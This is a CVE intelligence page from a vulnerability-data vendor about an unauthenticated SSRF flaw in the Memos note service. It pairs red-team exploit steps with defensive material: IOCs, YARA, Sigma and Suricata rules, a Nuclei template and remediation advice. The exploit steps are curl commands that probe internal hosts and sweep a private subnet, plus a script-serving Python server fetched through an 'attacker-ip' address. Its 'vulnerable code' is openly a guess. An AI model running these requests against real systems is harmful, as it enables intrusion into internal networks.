CVE-2024-29028
Executive Summary
CVE-2024-29028 is a Server-Side Request Forgery (SSRF) vulnerability in the Memos note-taking service, version 0.13.2. The flaw resides in the /o/get/httpmeta endpoint, which allows unauthenticated attackers to force the server to make HTTP requests to arbitrary internal or external URLs. This can be used to enumerate internal network services, read limited HTML metadata, and in some cases, chain with a reflected XSS to achieve full administrator account compromise. The vulnerability is rated medium severity (CVSS 5.3) and has a public proof-of-concept (Nuclei template). The vendor has released a fix in version 0.16.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Memos is a Go-based application distributed as a standalone binary or Docker image. The vulnerability is in the application logic, not in a third-party package. No malicious packages or compromised dependencies have been identified. Users should verify the integrity of their Memos binary or Docker image after updating.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited HTML metadata exposure
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the direct impact is limited to information disclosure, the SSRF can be chained with other vulnerabilities (e.g., reflected XSS) to escalate to full account takeover. The low EPSS score (0.06%) suggests limited active exploitation in the wild, but the public availability of a Nuclei template increases risk.
Deep Dive & Mechanics
The vulnerability exists in the /o/get/httpmeta API endpoint. This endpoint accepts a url parameter and fetches the provided URL, returning limited HTML metadata (e.g., title, description) in JSON format. The flaw is that the endpoint does not validate or restrict the target URL, allowing requests to internal IP addresses (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16) or internal services (e.g., cloud metadata endpoints).
Attack Flow:
- An unauthenticated attacker sends a GET request to
/o/get/httpmeta?url=http://127.0.0.1:8080/admin(or any internal service). - The Memos server makes an HTTP request to the internal target.
- The server returns the HTML metadata (title, description) of the internal resource in JSON format.
- The attacker can enumerate internal services, read metadata, and potentially trigger a reflected XSS if the internal service returns attacker-controlled content.
Chained XSS: If the internal service returns HTML with a malicious <script> tag, the Memos server will include that in the JSON response. If the attacker can trick an administrator into viewing the response (e.g., via a crafted link), the XSS executes in the admin's browser, potentially leading to account takeover.
Vulnerable vs. Patched Code
Vulnerable Code (0.13.2):
The /o/get/httpmeta endpoint likely uses a simple HTTP client without URL validation:
func getHttpMeta(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
resp, err := http.Get(url) // No validation
// ... parse and return HTML metadata
}
Patched Code (0.16.1): The fix adds URL validation to block internal IPs and enforce allowlists:
func getHttpMeta(w http.ResponseWriter, r *http.Request) {
url := r.URL.Query().Get("url")
if !isAllowedURL(url) { // New validation function
http.Error(w, "URL not allowed", http.StatusBadRequest)
return
}
resp, err := http.Get(url)
// ... parse and return HTML metadata
}
func isAllowedURL(rawURL string) bool {
parsed, err := url.Parse(rawURL)
if err != nil {
return false
}
ip := net.ParseIP(parsed.Hostname())
if ip != nil && (ip.IsLoopback() || ip.IsPrivate()) {
return false
}
return true
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running Memos instance (version 0.13.2) on a local or cloud environment.
- An interactsh server or a controlled external listener for out-of-band detection.
Exploit Steps:
Basic SSRF Test:
curl "http://target-memos:5230/o/get/httpmeta?url=http://127.0.0.1:5230/api/user"Expected response: JSON containing HTML metadata of the internal API endpoint.
Internal Network Enumeration:
for ip in 192.168.1.{1..254}; do curl -s "http://target-memos:5230/o/get/httpmeta?url=http://$ip:80" | grep -o '"title":"[^"]*"' doneOut-of-Band Detection (using interactsh):
curl "http://target-memos:5230/o/get/httpmeta?url=http://your-interactsh-server.oastify.com"Check interactsh logs for DNS/HTTP callback.
Chained XSS (if internal service returns attacker-controlled content):
- Set up a simple HTTP server that returns HTML with a malicious script:
# server.py from http.server import HTTPServer, BaseHTTPRequestHandler class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(b'<html><head><title><script>alert("XSS")</script></title></head></html>') HTTPServer(('0.0.0.0', 9999), Handler).serve_forever() - Send the SSRF request to the attacker-controlled server:
curl "http://target-memos:5230/o/get/httpmeta?url=http://attacker-ip:9999" - The response will contain the XSS payload. If an admin views this response, the script executes.
- Set up a simple HTTP server that returns HTML with a malicious script:
Blue Team
Detection:
- Monitor for unusual outbound HTTP requests from the Memos server to internal IPs or unknown external hosts.
- Look for requests to
/o/get/httpmetawith suspiciousurlparameters (e.g., containing127.0.0.1,10.,192.168.,169.254.). - Use the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Hunting:
- Review Memos server logs for
GET /o/get/httpmetarequests. - Check for DNS lookups to known interactsh or collaborator domains.
- Analyze network traffic for HTTP responses containing HTML metadata from internal services.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from Memos server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
- DNS queries to interactsh or collaborator domains (e.g.,
*.oastify.com,*.burpcollaborator.net). - HTTP requests to
/o/get/httpmetawithurlparameter containing internal IPs.
File IOCs:
- Memos server logs containing entries like
GET /o/get/httpmeta?url=http://127.0.0.1:....
- Memos server logs containing entries like
Behavioral IOCs:
- Unexpected HTTP responses from Memos server containing HTML metadata of internal services.
- Repeated requests to
/o/get/httpmetawith varyingurlparameters.
Detection Engineering
YARA Rule
rule CVE_2024_29028_SSRF_Memos {
meta:
description = "Detects SSRF exploitation attempts against Memos CVE-2024-29028"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29028"
hash = "4a0a00473045022100806c9ac6def6bbc074e9f3477f0a89f1c4f32f687cb420bf08a03003fb07a001022074a5415262e818d703e877007451b4c37cba39b4fc22f8ef6291ec82dcdef9a4"
strings:
$ssrf_path = "/o/get/httpmeta" ascii wide nocase
$url_param = "url=" ascii wide nocase
$internal_ip = /url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/ ascii wide nocase
condition:
$ssrf_path and $url_param and $internal_ip
}
Sigma Rule
title: CVE-2024-29028 SSRF Exploitation Against Memos
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts targeting the /o/get/httpmeta endpoint in Memos
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29028
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
logsource:
category: webserver
product: memos
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/o/get/httpmeta'
cs-uri-query|contains: 'url='
filter:
cs-uri-query|contains:
- '127.0.0.1'
- '10.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '192.168.'
- '169.254.'
condition: selection and filter
falsepositives:
- Legitimate use of the endpoint with internal URLs (should be rare)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-29028 SSRF Exploitation Against Memos";
flow:to_server,established;
content:"GET"; http_method;
content:"/o/get/httpmeta"; http_uri;
content:"url="; http_uri;
pcre:"/url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/Ri";
reference:cve,2024-29028;
reference:url,https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Nuclei Template (Provided)
id: CVE-2024-29028
info:
name: Memos 0.13.2 - Server-Side Request Forgery
author: ritikchaddha
severity: medium
description: |
SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
impact: |
Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.
remediation: |
Update Memos to version 0.13.3 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
cve-id: CVE-2024-29028
epss-score: 0.06061
epss-percentile: 0.90771
metadata:
verified: true
max-request: 1
shodan-query: title:"Memos"
fofa-query: title="Memos"
tags: cve,cve2024,ssrf,memos,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "dns")'
- 'contains_any(tolower(body), "memos", "title\":")'
condition: and
Remediation & Mitigation
Immediate Actions:
- Update Memos to version 0.16.1 or later. This is the only complete fix.
- If immediate update is not possible, restrict access to the
/o/get/httpmetaendpoint using a reverse proxy or WAF rule. - Block outbound HTTP requests from the Memos server to private IP ranges at the network firewall level.
Long-Term Mitigations:
- Implement a URL allowlist for the
/o/get/httpmetaendpoint (e.g., only allow requests to known external services). - Add input validation to reject URLs containing private IPs, loopback addresses, or metadata endpoints (e.g.,
169.254.169.254). - Use a dedicated HTTP client with a timeout and restricted redirect following.
- Conduct regular security audits and penetration testing on the Memos instance.
Workaround (if patching is delayed):
- Disable the
/o/get/httpmetaendpoint entirely by removing or commenting out the route in the Memos source code. - Use a WAF rule to block requests containing
url=http://orurl=https://with private IP patterns.
Valters IT
Securing Your Digital Frontier
{/* [Security Hash: 3C3BED5561856A9483F1FBC9] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.